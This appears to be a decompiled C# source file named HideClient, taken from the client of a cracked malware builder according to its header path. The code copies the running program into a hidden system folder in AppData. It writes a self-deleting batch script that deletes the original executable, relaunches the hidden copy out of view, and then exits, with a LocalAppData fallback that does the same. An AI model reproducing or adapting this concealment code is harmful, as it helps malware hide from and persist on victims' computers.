121 lines
4.1 KiB
C#
121 lines
4.1 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: HideClient
|
|
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
|
|
|
using Stuff;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Reflection;
|
|
using System.Threading;
|
|
|
|
#nullable disable
|
|
public static class HideClient
|
|
{
|
|
public static void Execute()
|
|
{
|
|
string str1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "PlatformRuntime");
|
|
string location = Assembly.GetExecutingAssembly().Location;
|
|
string str2 = Path.Combine(str1, Path.GetFileName(location));
|
|
try
|
|
{
|
|
if (Path.GetDirectoryName(location).Equals(str1, StringComparison.OrdinalIgnoreCase))
|
|
return;
|
|
if (!Directory.Exists(str1))
|
|
{
|
|
Directory.CreateDirectory(str1);
|
|
new DirectoryInfo(str1).Attributes |= FileAttributes.Hidden | FileAttributes.System;
|
|
}
|
|
if (!File.Exists(str2) || !HideClient.FilesAreEqual(location, str2))
|
|
{
|
|
File.Copy(location, str2, true);
|
|
File.SetAttributes(str2, FileAttributes.Hidden | FileAttributes.System);
|
|
}
|
|
string str3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Temp");
|
|
if (!Directory.Exists(str3))
|
|
Directory.CreateDirectory(str3);
|
|
string path = Path.Combine(str3, $"cleanup_{Helpers.Random()}.bat");
|
|
using (StreamWriter streamWriter = new StreamWriter(path))
|
|
{
|
|
streamWriter.WriteLine("@echo off");
|
|
streamWriter.WriteLine("chcp 65001 > nul");
|
|
streamWriter.WriteLine("timeout /t 2 /nobreak > nul");
|
|
streamWriter.WriteLine(":RETRY");
|
|
streamWriter.WriteLine($"if exist \"{location}\" (");
|
|
streamWriter.WriteLine($" del /f /q \"{location}\" 2>nul");
|
|
streamWriter.WriteLine($" if exist \"{location}\" (");
|
|
streamWriter.WriteLine(" timeout /t 1 /nobreak > nul");
|
|
streamWriter.WriteLine(" goto RETRY");
|
|
streamWriter.WriteLine(" )");
|
|
streamWriter.WriteLine(")");
|
|
streamWriter.WriteLine($"start \"\" \"{str2}\"");
|
|
streamWriter.WriteLine("timeout /t 1 /nobreak > nul");
|
|
streamWriter.WriteLine($"del /f /q \"{path}\" 2>nul");
|
|
streamWriter.WriteLine("exit");
|
|
}
|
|
Process.Start(new ProcessStartInfo()
|
|
{
|
|
FileName = path,
|
|
CreateNoWindow = true,
|
|
UseShellExecute = false,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
});
|
|
Thread.Sleep(500);
|
|
Environment.Exit(0);
|
|
}
|
|
catch (UnauthorizedAccessException ex)
|
|
{
|
|
HideClient.TryAlternativeLocation();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
}
|
|
}
|
|
|
|
private static bool FilesAreEqual(string file1, string file2)
|
|
{
|
|
try
|
|
{
|
|
FileInfo fileInfo1 = new FileInfo(file1);
|
|
FileInfo fileInfo2 = new FileInfo(file2);
|
|
return fileInfo1.Length == fileInfo2.Length && fileInfo1.LastWriteTimeUtc == fileInfo2.LastWriteTimeUtc;
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
|
|
private static void TryAlternativeLocation()
|
|
{
|
|
try
|
|
{
|
|
string str1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "PlatformRuntime");
|
|
string location = Assembly.GetExecutingAssembly().Location;
|
|
string str2 = Path.Combine(str1, Path.GetFileName(location));
|
|
if (!Directory.Exists(str1))
|
|
{
|
|
Directory.CreateDirectory(str1);
|
|
new DirectoryInfo(str1).Attributes |= FileAttributes.Hidden;
|
|
}
|
|
if (File.Exists(str2))
|
|
return;
|
|
File.Copy(location, str2, true);
|
|
File.SetAttributes(str2, FileAttributes.Hidden);
|
|
Process.Start(new ProcessStartInfo()
|
|
{
|
|
FileName = str2,
|
|
UseShellExecute = false,
|
|
CreateNoWindow = true
|
|
});
|
|
Thread.Sleep(500);
|
|
Environment.Exit(0);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|